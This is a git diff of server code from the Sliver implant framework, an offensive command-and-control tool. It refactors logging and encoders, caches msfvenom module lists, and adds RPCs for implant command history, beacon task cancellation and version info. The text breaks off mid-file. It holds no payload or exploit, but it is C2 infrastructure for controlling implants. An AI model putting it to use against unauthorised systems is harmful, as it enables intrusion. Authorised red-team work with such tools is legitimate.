a/server/daemon/daemon.go +++ /dev/null @@ -1,73 +0,0 @@ -package daemon - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "fmt" - "os" - "os/signal" - "syscall" - - "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/log" - "github.com/bishopfox/sliver/server/transport" -) - -var ( - serverConfig = configs.GetServerConfig() - daemonLog = log.NamedLogger("daemon", "main") - - // BlankHost is a blank hostname - BlankHost = "-" - // BlankPort is a blank port number - BlankPort = uint16(0) -) - -// Start - Start as daemon process -func Start(host string, port uint16) { - - // cli args take president over config - if host == BlankHost { - daemonLog.Info("No cli lhost, using config file or default value") - host = serverConfig.DaemonConfig.Host - } - if port == BlankPort { - daemonLog.Info("No cli lport, using config file or default value") - port = uint16(serverConfig.DaemonConfig.Port) - } - - daemonLog.Infof("Starting Sliver daemon %s:%d ...", host, port) - _, ln, err := transport.StartMtlsClientListener(host, port) - if err != nil { - fmt.Printf("[!] Failed to start daemon %s", err) - daemonLog.Errorf("Error starting client listener %s", err) - os.Exit(1) - } - - done := make(chan bool) - signals := make(chan os.Signal, 1) - signal.Notify(signals, syscall.SIGTERM) - go func() { - <-signals - daemonLog.Infof("Received SIGTERM, exiting ...") - ln.Close() - done <- true - }() - <-done -} diff --git a/server/db/models/implant.go b/server/db/models/implant.go index 33db497915..cccda8d286 100644 --- a/server/db/models/implant.go +++ b/server/db/models/implant.go @@ -349,9 +349,11 @@ type ImplantC2 struct { // BeforeCreate - GORM hook func (c2 *ImplantC2) BeforeCreate(tx *gorm.DB) (err error) { - c2.ID, err = uuid.NewV4() - if err != nil { - return err + if c2.ID == uuid.Nil { + c2.ID, err = uuid.NewV4() + if err != nil { + return err + } } c2.CreatedAt = time.Now() return nil diff --git a/server/encoders/encoders.go b/server/encoders/encoders.go index 89ad27d0e2..5b80f39767 100644 --- a/server/encoders/encoders.go +++ b/server/encoders/encoders.go @@ -73,8 +73,19 @@ var ( UnavailableID = PopulateID() ) -func SetupDefaultEncoders(name string) uint64 { +// Setup is an init function to automatically setup default encoders. +// Called in the root sliver server binary command pre-runners. +func Setup() { + util.SetEnglishDictionary(assets.English()) + TrafficEncoderFS = PassthroughEncoderFS{ + rootDir: filepath.Join(assets.GetRootAppDir(), "traffic-encoders"), + } + loadTrafficEncodersFromFS(TrafficEncoderFS, func(msg string) { + trafficEncoderLog.Debugf("[traffic-encoder] %s", msg) + }) +} +func SetupDefaultEncoders(name string) uint64 { encoders, err := db.ResourceIDByType("encoder") if err != nil { encodersLog.Printf("Error:\n%s", err) @@ -127,16 +138,6 @@ func GetRandomID() uint64 { return uint64(id) } -func init() { - util.SetEnglishDictionary(assets.English()) - TrafficEncoderFS = PassthroughEncoderFS{ - rootDir: filepath.Join(assets.GetRootAppDir(), "traffic-encoders"), - } - loadTrafficEncodersFromFS(TrafficEncoderFS, func(msg string) { - trafficEncoderLog.Debugf("[traffic-encoder] %s", msg) - }) -} - // EncoderMap - A map of all available encoders (native and traffic/wasm) var EncoderMap = map[uint64]util.Encoder{ Base64EncoderID: Base64, @@ -166,7 +167,7 @@ func SaveTrafficEncoder(name string, wasmBin []byte) error { return fmt.Errorf("invalid encoder name, must end with .wasm") } wasmFilePath := filepath.Join(assets.GetTrafficEncoderDir(), filepath.Base(name)) - err := os.WriteFile(wasmFilePath, wasmBin, 0600) + err := os.WriteFile(wasmFilePath, wasmBin, 0o600) if err != nil { return err } @@ -203,7 +204,6 @@ func RemoveTrafficEncoder(name string) error { // loadTrafficEncodersFromFS - Loads the wasm traffic encoders from the filesystem, for the // server these will be loaded from: /traffic-encoders/*.wasm func loadTrafficEncodersFromFS(encodersFS util.EncoderFS, logger func(string)) error { - // Reset references pointing to traffic encoders for _, encoder := range TrafficEncoderMap { delete(EncoderMap, encoder.ID) diff --git a/server/log/audit.go b/server/log/audit.go index ac45ceded0..16e7969816 100644 --- a/server/log/audit.go +++ b/server/log/audit.go @@ -26,16 +26,14 @@ import ( "github.com/sirupsen/logrus" ) -var ( - // AuditLogger - Single audit log - AuditLogger = newAuditLogger() -) +// AuditLogger - Single audit log. +var AuditLogger = newAuditLogger() func newAuditLogger() *logrus.Logger { auditLogger := logrus.New() auditLogger.Formatter = &logrus.JSONFormatter{} jsonFilePath := filepath.Join(GetLogDir(), "audit.json") - jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) + jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) if err != nil { panic(fmt.Sprintf("Failed to open log file %v", err)) } diff --git a/server/log/log.go b/server/log/log.go index 417627b85f..4a322403f0 100644 --- a/server/log/log.go +++ b/server/log/log.go @@ -35,13 +35,13 @@ const ( ) var ( - // RootLoggerName - Root logger name, contains all log data + // RootLoggerName - Root logger name, contains all log data. RootLoggerName = "root" - // RootLogger - Root Logger + // RootLogger - Root Logger. RootLogger = rootLogger() ) -// NamedLogger - Returns a logger wrapped with pkg/stream fields +// NamedLogger - Returns a logger wrapped with pkg/stream fields. func NamedLogger(pkg, stream string) *logrus.Entry { return RootLogger.WithFields(logrus.Fields{ "pkg": pkg, @@ -49,9 +49,8 @@ func NamedLogger(pkg, stream string) *logrus.Entry { }) } -// GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/ +// GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/. func GetRootAppDir() string { - value := os.Getenv(envVarName) var dir string @@ -63,7 +62,7 @@ func GetRootAppDir() string { } if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { panic("Cannot write to sliver root dir") } @@ -71,18 +70,18 @@ func GetRootAppDir() string { return dir } -// GetLogDir - Return the log dir +// GetLogDir - Return the log dir. func GetLogDir() string { rootDir := GetRootAppDir() if _, err := os.Stat(rootDir); os.IsNotExist(err) { - err = os.MkdirAll(rootDir, 0700) + err = os.MkdirAll(rootDir, 0o700) if err != nil { panic(err) } } logDir := path.Join(rootDir, "logs") if _, err := os.Stat(logDir); os.IsNotExist(err) { - err = os.MkdirAll(logDir, 0700) + err = os.MkdirAll(logDir, 0o700) if err != nil { panic(err) } @@ -90,12 +89,12 @@ func GetLogDir() string { return logDir } -// RootLogger - Returns the root logger +// RootLogger - Returns the root logger. func rootLogger() *logrus.Logger { rootLogger := logrus.New() rootLogger.Formatter = &logrus.JSONFormatter{} jsonFilePath := filepath.Join(GetLogDir(), "sliver.json") - jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o644) if err != nil { panic(fmt.Sprintf("Failed to open log file %v", err)) } @@ -106,7 +105,7 @@ func rootLogger() *logrus.Logger { return rootLogger } -// RootLogger - Returns the root logger +// RootLogger - Returns the root logger. func txtLogger() *logrus.Logger { txtLogger := logrus.New() txtLogger.Formatter = &logrus.TextFormatter{ @@ -114,7 +113,7 @@ func txtLogger() *logrus.Logger { FullTimestamp: true, } txtFilePath := filepath.Join(GetLogDir(), "sliver.log") - txtFile, err := os.OpenFile(txtFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + txtFile, err := os.OpenFile(txtFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o644) if err != nil { panic(fmt.Sprintf("Failed to open log file %v", err)) } @@ -123,13 +122,13 @@ func txtLogger() *logrus.Logger { return txtLogger } -// TxtHook - Hook in a textual version of the logs +// TxtHook - Hook in a textual version of the logs. type TxtHook struct { Name string logger *logrus.Logger } -// NewTxtHook - returns a new txt hook +// NewTxtHook - returns a new txt hook. func NewTxtHook(name string) *TxtHook { hook := &TxtHook{ Name: name, @@ -138,7 +137,7 @@ func NewTxtHook(name string) *TxtHook { return hook } -// Fire - Implements the fire method of the Logrus hook +// Fire - Implements the fire method of the Logrus hook. func (hook *TxtHook) Fire(entry *logrus.Entry) error { if hook.logger == nil { return errors.New("no txt logger") @@ -172,12 +171,12 @@ func (hook *TxtHook) Fire(entry *logrus.Entry) error { return nil } -// Levels - Hook all levels +// Levels - Hook all levels. func (hook *TxtHook) Levels() []logrus.Level { return logrus.AllLevels } -// RootLogger - Returns the root logger +// RootLogger - Returns the root logger. func stdoutLogger() *logrus.Logger { txtLogger := logrus.New() txtLogger.Formatter = &logrus.TextFormatter{ @@ -189,13 +188,13 @@ func stdoutLogger() *logrus.Logger { return txtLogger } -// TxtHook - Hook in a textual version of the logs +// TxtHook - Hook in a textual version of the logs. type StdoutHook struct { Name string logger *logrus.Logger } -// NewTxtHook - returns a new txt hook +// NewTxtHook - returns a new txt hook. func NewStdoutHook(name string) *StdoutHook { hook := &StdoutHook{ Name: name, @@ -204,7 +203,7 @@ func NewStdoutHook(name string) *StdoutHook { return hook } -// Fire - Implements the fire method of the Logrus hook +// Fire - Implements the fire method of the Logrus hook. func (hook *StdoutHook) Fire(entry *logrus.Entry) error { if hook.logger == nil { return errors.New("no txt logger") @@ -238,12 +237,12 @@ func (hook *StdoutHook) Fire(entry *logrus.Entry) error { return nil } -// Levels - Hook all levels +// Levels - Hook all levels. func (hook *StdoutHook) Levels() []logrus.Level { return logrus.AllLevels } -// LevelFrom - returns level from int +// LevelFrom - returns level from int. func LevelFrom(level int) logrus.Level { switch level { case 0: diff --git a/server/msf/msf.go b/server/msf/msf.go index 27f3a6e3a8..b4f1ec1f70 100644 --- a/server/msf/msf.go +++ b/server/msf/msf.go @@ -22,10 +22,15 @@ import ( "bytes" "fmt" "net/url" + "os" "os/exec" + "path/filepath" "strconv" "strings" + "sync" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/server/assets" "github.com/bishopfox/sliver/server/log" ) @@ -33,6 +38,7 @@ const ( consoleBin = "msfconsole" venomBin = "msfvenom" sep = "/" + msfDir = "msf" ) var ( @@ -82,7 +88,6 @@ var ( "csharp": true, "dw": true, "dword": true, - "exe": true, "hex": true, "java": true, "js_be": true, @@ -101,8 +106,17 @@ var ( "vbapplication": true, "vbscript": true, } + + msfModuleTypes = []string{ + "encoders", + "payloads", + "formats", + "archs", + } ) +var msfCache = sync.Map{} + // VenomConfig - type VenomConfig struct { Os string @@ -118,6 +132,76 @@ type VenomConfig struct { AdvOptions string } +// CacheModules parses the text output of some our relevant +// Metasploit generation helpers, to be used for completions. +func CacheModules() { + if _, err := exec.LookPath(venomBin); err != nil { + return + } + + msfLog.Infof("Caching msfvenom data (this may take a few seconds)") + + all := sync.WaitGroup{} + + for i := range msfModuleTypes { + all.Add(1) + target := msfModuleTypes[i] + + go func() { + defer all.Done() + + result, err := venomCmd([]string{"--list", target}) + if err != nil { + msfLog.Error(err) + return + } + + fileName := filepath.Join(MsfDir(), "msf-"+target+".cache") + if err := os.WriteFile(fileName, result, 0o600); err != nil { + msfLog.Error(err) + } + }() + } + + all.Wait() + msfLog.Infof("Done caching msfvenom data") +} + +// GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/ +func MsfDir() string { + msfDir := filepath.Join(assets.GetRootAppDir(), msfDir) + + if _, err := os.Stat(msfDir); os.IsNotExist(err) { + err = os.MkdirAll(msfDir, 0o700) + if err != nil { + msfLog.Fatalf("Cannot write to sliver root dir %s", err) + } + } + return msfDir +} + +// GetMsfCache returns the cache of Metasploit modules and other info. +func GetMsfCache() *clientpb.MetasploitCompiler { + formats, ok := msfCache.Load("formats") + if !ok { + loadCache() + } + + formats, ok = msfCache.Load("formats") + archs, _ := msfCache.Load("archs") + payloads, _ := msfCache.Load("payloads") + encoders, _ := msfCache.Load("encoders") + + msf := &clientpb.MetasploitCompiler{ + Formats: formats.([]string), + Archs: archs.([]string), + Payloads: payloads.([]*clientpb.MetasploitModule), + Encoders: encoders.([]*clientpb.MetasploitModule), + } + + return msf +} + // Version - Return the version of MSFVenom func Version() (string, error) { stdout, err := consoleCmd([]string{"--version"}) @@ -260,3 +344,125 @@ func Arch(arch string) string { } return "x86" } + +func loadCache() { + msf := parseCache() + + if len(msf.Formats) == 0 { + return + } + + msfCache.Store("formats", msf.Formats) + msfCache.Store("archs", msf.Archs) + msfCache.Store("payloads", msf.Payloads) + msfCache.Store("encoders", msf.Encoders) +} + +// parseCache returns the MSFvenom information useful to Sliver. +func parseCache() *clientpb.MetasploitCompiler { + msf := &clientpb.MetasploitCompiler{} + + if _, err := exec.LookPath(venomBin); err != nil { + return msf + } + + ver, err := Version() + if err != nil { + return msf + } + + msf.Version = ver + + for _, file := range msfModuleTypes { + fileName := filepath.Join(MsfDir(), fmt.Sprintf("msf-%s.cache", file)) + + switch file { + case "formats": + if formats, err := os.ReadFile(fileName); err == nil { + raw := strings.Split(string(formats), "----") + all := strings.Split(raw[len(raw)-1], "\n") + + for _, fmt := range all { + msf.Formats = append(msf.Formats, strings.TrimSpace(fmt)) + } + } + + case "archs": + if archs, err := os.ReadFile(fileName); err == nil { + raw := strings.Split(string(archs), "----") + all := strings.Split(raw[len(raw)-1], "\n") + + for _, arch := range all { + msf.Archs = append(msf.Archs, strings.TrimSpace(arch)) + } + } + + case "payloads": + if payloads, err := os.ReadFile(fileName); err == nil { + raw := strings.Split(string(payloads), "-----------") + all := strings.Split(raw[len(raw)-1], "\n") + + for _, info := range all { + payload := &clientpb.MetasploitModule{} + + items := filterEmpty(strings.Split(strings.TrimSpace(info), " ")) + + if len(items) > 0 { + fullname := strings.TrimSpace(items[0]) + payload.FullName = fullname + payload.Name = filepath.Base(fullname) + } + if len(items) > 1 { + payload.Description = strings.Join(items[1:], " ") + } + + msf.Payloads = append(msf.Payloads, payload) + } + } + + case "encoders": + if encoders, err := os.ReadFile(fileName); err == nil { + raw := strings.Split(string(encoders), "-----------") + all := strings.Split(raw[len(raw)-1], "\n") + + for _, info := range all { + encoder := &clientpb.MetasploitModule{} + + // First split the name from everything else following. + items := filterEmpty(strings.Split(strings.TrimSpace(info), " ")) + if len(items) == 0 { + continue + } + + if len(items) > 0 { + fullname := strings.TrimSpace(items[0]) + encoder.FullName = fullname + encoder.Name = filepath.Base(fullname) + } + + // Then try to find a level, and a description. + if len(items) > 1 { + encoder.Quality = strings.TrimSpace(items[1]) + encoder.Description = strings.Join(items[2:], " ") + } + + msf.Encoders = append(msf.Encoders, encoder) + } + } + } + } + + return msf +} + +func filterEmpty(list []string) []string { + var full []string + for _, item := range list { + trim := strings.TrimSpace(item) + if trim != "" { + full = append(full, trim) + } + } + + return full +} diff --git a/server/rpc/rpc-beacons.go b/server/rpc/rpc-beacons.go index 8001b313ae..2f8cfd89f3 100644 --- a/server/rpc/rpc-beacons.go +++ b/server/rpc/rpc-beacons.go @@ -21,16 +21,18 @@ package rpc import ( "context" + "google.golang.org/protobuf/proto" + + consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/bishopfox/sliver/server/core" "github.com/bishopfox/sliver/server/db" "github.com/bishopfox/sliver/server/db/models" "github.com/bishopfox/sliver/server/log" ) -var ( - beaconRpcLog = log.NamedLogger("rpc", "beacons") -) +var beaconRpcLog = log.NamedLogger("rpc", "beacons") // GetBeacons - Get a list of beacons from the database func (rpc *Server) GetBeacons(ctx context.Context, req *commonpb.Empty) (*clientpb.Beacons, error) { @@ -69,7 +71,8 @@ func (rpc *Server) RmBeacon(ctx context.Context, req *clientpb.Beacon) (*commonp } err = db.Session().Where(&models.BeaconTask{ - BeaconID: beacon.ID}, + BeaconID: beacon.ID, + }, ).Delete(&models.BeaconTask{}).Error if err != nil { beaconRpcLog.Errorf("Database error: %s", err) @@ -123,5 +126,21 @@ func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTas if err != nil { return nil, ErrInvalidBeaconTaskID } + + // Some client might be currently blocking for the canceled + // task result, so tell them about it so they can exit. + beacon, err := db.BeaconByID(task.BeaconID) + if err != nil { + return task, ErrInvalidBeaconID + } + + eventData, _ := proto.Marshal(task) + + core.EventBroker.Publish(core.Event{ + EventType: consts.BeaconTaskCanceledEvent, + Data: eventData, + Beacon: beacon, + }) + return task, nil } diff --git a/server/rpc/rpc-client-logs.go b/server/rpc/rpc-client-logs.go index d1ea9d2b7e..c5117358cd 100644 --- a/server/rpc/rpc-client-logs.go +++ b/server/rpc/rpc-client-logs.go @@ -20,6 +20,8 @@ package rpc import ( "compress/gzip" + "context" + "errors" "fmt" "io" insecureRand "math/rand" @@ -40,7 +42,7 @@ var ( ErrInvalidStreamName = status.Error(codes.InvalidArgument, "Invalid stream name") rpcClientLogs = log.NamedLogger("rpc", "client-logs") - streamNamePattern = regexp.MustCompile("^[a-z0-9_-]+$") + streamNamePattern = regexp.MustCompile("^[a-zA-Z0-9_-]+$") ) type LogStream struct { @@ -102,10 +104,15 @@ func (rpc *Server) ClientLog(stream rpcpb.SliverRPC_ClientLogServer) error { if err == io.EOF { break } + if err != nil { - rpcClientLogs.Errorf("Failed to receive client console log data: %s", err) + err = errors.New(status.Convert(err).Message()) // Unwrap the gRPC error + if !errors.Is(err, context.Canceled) { + rpcClientLogs.Errorf("Failed to receive client console log data: %s", err) + } return err } + streamName := fromClient.GetStream() if _, ok := streams[streamName]; !ok { streams[streamName], err = openNewLogStream(logsDir, streamName) @@ -139,7 +146,7 @@ func openNewLogStream(logsDir string, stream string) (*LogStream, error) { } func randomSuffix(n int) string { - var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") + letterRunes := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") buf := make([]rune, n) for i := range buf { buf[i] = letterRunes[insecureRand.Intn(len(letterRunes))] @@ -168,7 +175,7 @@ func gzipFile(filePath string) { return } defer inputFile.Close() - outFile, err := os.OpenFile(filePath+".gz", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600) + outFile, err := os.OpenFile(filePath+".gz", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) if err != nil { rpcClientLogs.Errorf("Failed to open gz client console log file: %s", err) return diff --git a/server/rpc/rpc-events.go b/server/rpc/rpc-events.go index e45f235d9d..5dcaa5382e 100644 --- a/server/rpc/rpc-events.go +++ b/server/rpc/rpc-events.go @@ -8,9 +8,7 @@ import ( "github.com/bishopfox/sliver/server/log" ) -var ( - rpcEventsLog = log.NamedLogger("rpc", "events") -) +var rpcEventsLog = log.NamedLogger("rpc", "events") // Events - Stream events to client func (rpc *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer) error { @@ -18,9 +16,10 @@ func (rpc *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer client := core.NewClient(commonName) core.Clients.Add(client) events := core.EventBroker.Subscribe() + rpcEventsLog.Debugf("Client %d connected", client.ID) defer func() { - rpcEventsLog.Infof("%d client disconnected", client.ID) + rpcEventsLog.Debugf("Client %d disconnected", client.ID) core.EventBroker.Unsubscribe(events) core.Clients.Remove(client.ID) }() @@ -41,6 +40,9 @@ func (rpc *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer if event.Client != nil { pbEvent.Client = event.Client.ToProtobuf() } + if event.Beacon != nil { + pbEvent.Beacon = event.Beacon.ToProtobuf() + } if event.Session != nil { pbEvent.Session = event.Session.ToProtobuf() } diff --git a/server/rpc/rpc-generate.go b/server/rpc/rpc-generate.go index 84484c77cf..1a11145a51 100644 --- a/server/rpc/rpc-generate.go +++ b/server/rpc/rpc-generate.go @@ -51,9 +51,7 @@ import ( "google.golang.org/protobuf/proto" ) -var ( - rcpGenLog = log.NamedLogger("rpc", "generate") -) +var rcpGenLog = log.NamedLogger("rpc", "generate") // Generate - Generate a new implant func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*clientpb.Generate, error) { @@ -147,7 +145,6 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl // Regenerate - Regenerate a previously generated implant func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq) (*clientpb.Generate, error) { - build, err := db.ImplantBuildByName(req.ImplantName) if err != nil { rpcLog.Errorf("Failed to find implant %s: %s", req.ImplantName, err) @@ -213,7 +210,6 @@ func (rpc *Server) Canaries(ctx context.Context, _ *commonpb.Empty) (*clientpb.C // GenerateUniqueIP - Wrapper around generate.GenerateUniqueIP func (rpc *Server) GenerateUniqueIP(ctx context.Context, _ *commonpb.Empty) (*clientpb.UniqueWGIP, error) { uniqueIP, err := generate.GenerateUniqueIP() - if err != nil { rpcLog.Infof("Failed to generate unique wg peer ip: %s\n", err) return nil, err @@ -492,7 +488,6 @@ func (rpc *Server) Builders(ctx context.Context, _ *commonpb.Empty) (*clientpb.B // BuilderTrigger - Trigger a builder event func (rpc *Server) BuilderTrigger(ctx context.Context, req *clientpb.Event) (*commonpb.Empty, error) { - switch req.EventType { // Only allow certain event types to be triggered diff --git a/server/rpc/rpc-history.go b/server/rpc/rpc-history.go new file mode 100644 index 0000000000..aba3aea1b5 --- /dev/null +++ b/server/rpc/rpc-history.go @@ -0,0 +1,185 @@ +package rpc + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "io" + "os" + "path/filepath" + "strings" + "sync" + + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/bishopfox/sliver/server/log" + "google.golang.org/grpc/status" +) + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +// GetImplantHistory returns a list of commands ran on an implant, by a given user or all of them. +func (rpc *Server) GetImplantHistory(ctx context.Context, req *clientpb.HistoryRequest) (*clientpb.History, error) { + commonName := rpc.getClientCommonName(ctx) + logsDir, err := getImplantHistoryDir() + if err != nil { + rpcClientLogs.Errorf("Failed to get implant log directory: %s", err) + return nil, err + } + + // Don't create if the history file does not exist. + streamName := fmt.Sprintf("%s_%s", req.ImplantName, req.ImplantID) + rpcClientLogs.Infof("Opening file %s", streamName) + logPath := filepath.Join(logsDir, streamName+".history") + if _, err := os.Stat(logPath); err != nil { + if os.IsNotExist(err) { + return &clientpb.History{}, nil + } + + return nil, err + } + + // Read the file and unmarshal in here. + var commands []*clientpb.ImplantCommand + + data, err := os.ReadFile(logPath) + if err != nil { + rpcClientLogs.Errorf("Failed to read implant history file: %s", err) + return nil, err + } + + err = json.Unmarshal(formatJSONList(data), &commands) + if err != nil { + rpcClientLogs.Error(err) + } + + history := &clientpb.History{} + + // Get only user commands if required to. + if req.UserOnly { + history.UserOnly = true + + for _, cmd := range commands { + if cmd.GetUser() == commonName { + history.Commands = append(history.Commands, cmd) + } + } + } else { + history.Commands = commands + } + + // And if requested for only a certain number of commands, cut the list. + if req.MaxLines > 0 && int(req.MaxLines) < len(history.Commands) { + oldest := len(history.Commands) - int(req.MaxLines) + history.Commands = history.Commands[oldest:] + } + + history.HistoryLen = int32(len(commands)) + + return history, nil +} + +// ImplantHistory is used by clients to log the command lines they execute on implants. +func (rpc *Server) ImplantHistory(stream rpcpb.SliverRPC_ImplantHistoryServer) error { + commonName := rpc.getClientCommonName(stream.Context()) + logsDir, err := getImplantHistoryDir() + if err != nil { + rpcClientLogs.Errorf("Failed to get implant log directory: %s", err) + return err + } + + streams := make(map[string]*LogStream) + defer func() { + for _, stream := range streams { + rpcClientLogs.Infof("Closing implant log file: %s", stream.logFile.Name()) + stream.logFile.Close() + } + }() + + for { + fromClient, err := stream.Recv() + if err == io.EOF { + break + } + if err != nil { + // gRPC errors are a pain to work with... + canceled := errors.New(context.Canceled.Error()) + + if !errors.As(errors.New(status.Convert(err).Message()), &canceled) { + rpcClientLogs.Errorf("Failed to receive implant history data: %s", err) + } + return err + } + + streamName := fmt.Sprintf("%s_%s", fromClient.ImplantName, fromClient.ImplantID) + + // Remove useless fields and write to file. + fromClient.User = commonName + fromClient.Request = nil + + data, err := json.Marshal(fromClient) + if err != nil { + return err + } + + data = append([]byte(",\n"), data...) + + if _, ok := streams[streamName]; !ok { + streams[streamName], err = openNewHistoryStream(logsDir, streamName) + if err != nil { + rpcClientLogs.Errorf("Failed to open implant history log file: %s", err) + return err + } + } + rpcClientLogs.Debugf("Received %d bytes of implant history data for %s", len(data), streamName) + streams[streamName].Write(data) + } + return nil +} + +func getImplantHistoryDir() (string, error) { + parentLogDir := filepath.Join(log.GetLogDir(), "implants") + if err := os.MkdirAll(parentLogDir, 0o700); err != nil { + rpcClientLogs.Warnf("Failed to create client console log directory: %s", err) + return "", err + } + return parentLogDir, nil +} + +func openNewHistoryStream(logsDir string, stream string) (*LogStream, error) { + if !streamNamePattern.MatchString(stream) { + return nil, ErrInvalidStreamName + } + stream = filepath.Base(stream) + logPath := filepath.Join(logsDir, filepath.Base(stream+".history")) + logFile, err := os.OpenFile(logPath, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) + if err != nil { + return nil, err + } + return &LogStream{stream: stream, parts: 0, logFile: logFile, lock: &sync.Mutex{}}, nil +} + +func formatJSONList(data []byte) []byte { + data = []byte(strings.TrimPrefix(string(data), ",\n")) + data = append(data, ']') + data = append([]byte("["), data...) + + return data +} diff --git a/server/rpc/rpc-msf.go b/server/rpc/rpc-msf.go index 5e55af1691..068d6d8f52 100644 --- a/server/rpc/rpc-msf.go +++ b/server/rpc/rpc-msf.go @@ -36,9 +36,7 @@ import ( "github.com/bishopfox/sliver/server/msf" ) -var ( - msfLog = log.NamedLogger("rpc", "msf") -) +var msfLog = log.NamedLogger("rpc", "msf") // Msf - Helper function to execute MSF payloads on the remote system func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Task, error) { @@ -206,6 +204,11 @@ func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*c return MSFStage, nil } +// GetMetasploitCompiler - Get information about any Metasploit installation server-side. +func (rpc *Server) GetMetasploitCompiler(ctx context.Context, _ *commonpb.Empty) (*clientpb.MetasploitCompiler, error) { + return msf.GetMsfCache(), nil +} + // Utility functions func generateCallbackURI(httpC2ConfigName string) string { httpC2Config, err := db.LoadHTTPC2ConfigByName(httpC2ConfigName) diff --git a/server/rpc/rpc-operators.go b/server/rpc/rpc-operators.go deleted file mode 100644 index 38ab232e89..0000000000 --- a/server/rpc/rpc-operators.go +++ /dev/null @@ -1,53 +0,0 @@ -package rpc - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/server/core" - "github.com/bishopfox/sliver/server/db" -) - -// GetOperators - Get a list of operators -func (s *Server) GetOperators(ctx context.Context, _ *commonpb.Empty) (*clientpb.Operators, error) { - operators := &clientpb.Operators{Operators: []*clientpb.Operator{}} - dbOperators, err := db.OperatorAll() - if err != nil { - return nil, ErrDatabaseFailure - } - for _, dbOperator := range dbOperators { - operators.Operators = append(operators.Operators, &clientpb.Operator{ - Name: dbOperator.Name, - Online: isOperatorOnline(dbOperator.Name), - }) - } - return operators, nil -} - -func isOperatorOnline(commonName string) bool { - for _, operator := range core.Clients.ActiveOperators() { - if commonName == operator { - return true - } - } - return false -} diff --git a/server/rpc/rpc-teamclient.go b/server/rpc/rpc-teamclient.go new file mode 100644 index 0000000000..9ac023e236 --- /dev/null +++ b/server/rpc/rpc-teamclient.go @@ -0,0 +1,73 @@ +package rpc + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "runtime" + + "github.com/bishopfox/sliver/client/version" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/bishopfox/sliver/server/core" +) + +// GetVersion - Get the server version +func (rpc *Server) GetVersion(ctx context.Context, _ *commonpb.Empty) (*clientpb.Version, error) { + dirty := version.GitDirty != "" + semVer := version.SemanticVersion() + compiled, _ := version.Compiled() + return &clientpb.Version{ + Major: int32(semVer[0]), + Minor: int32(semVer[1]), + Patch: int32(semVer[2]), 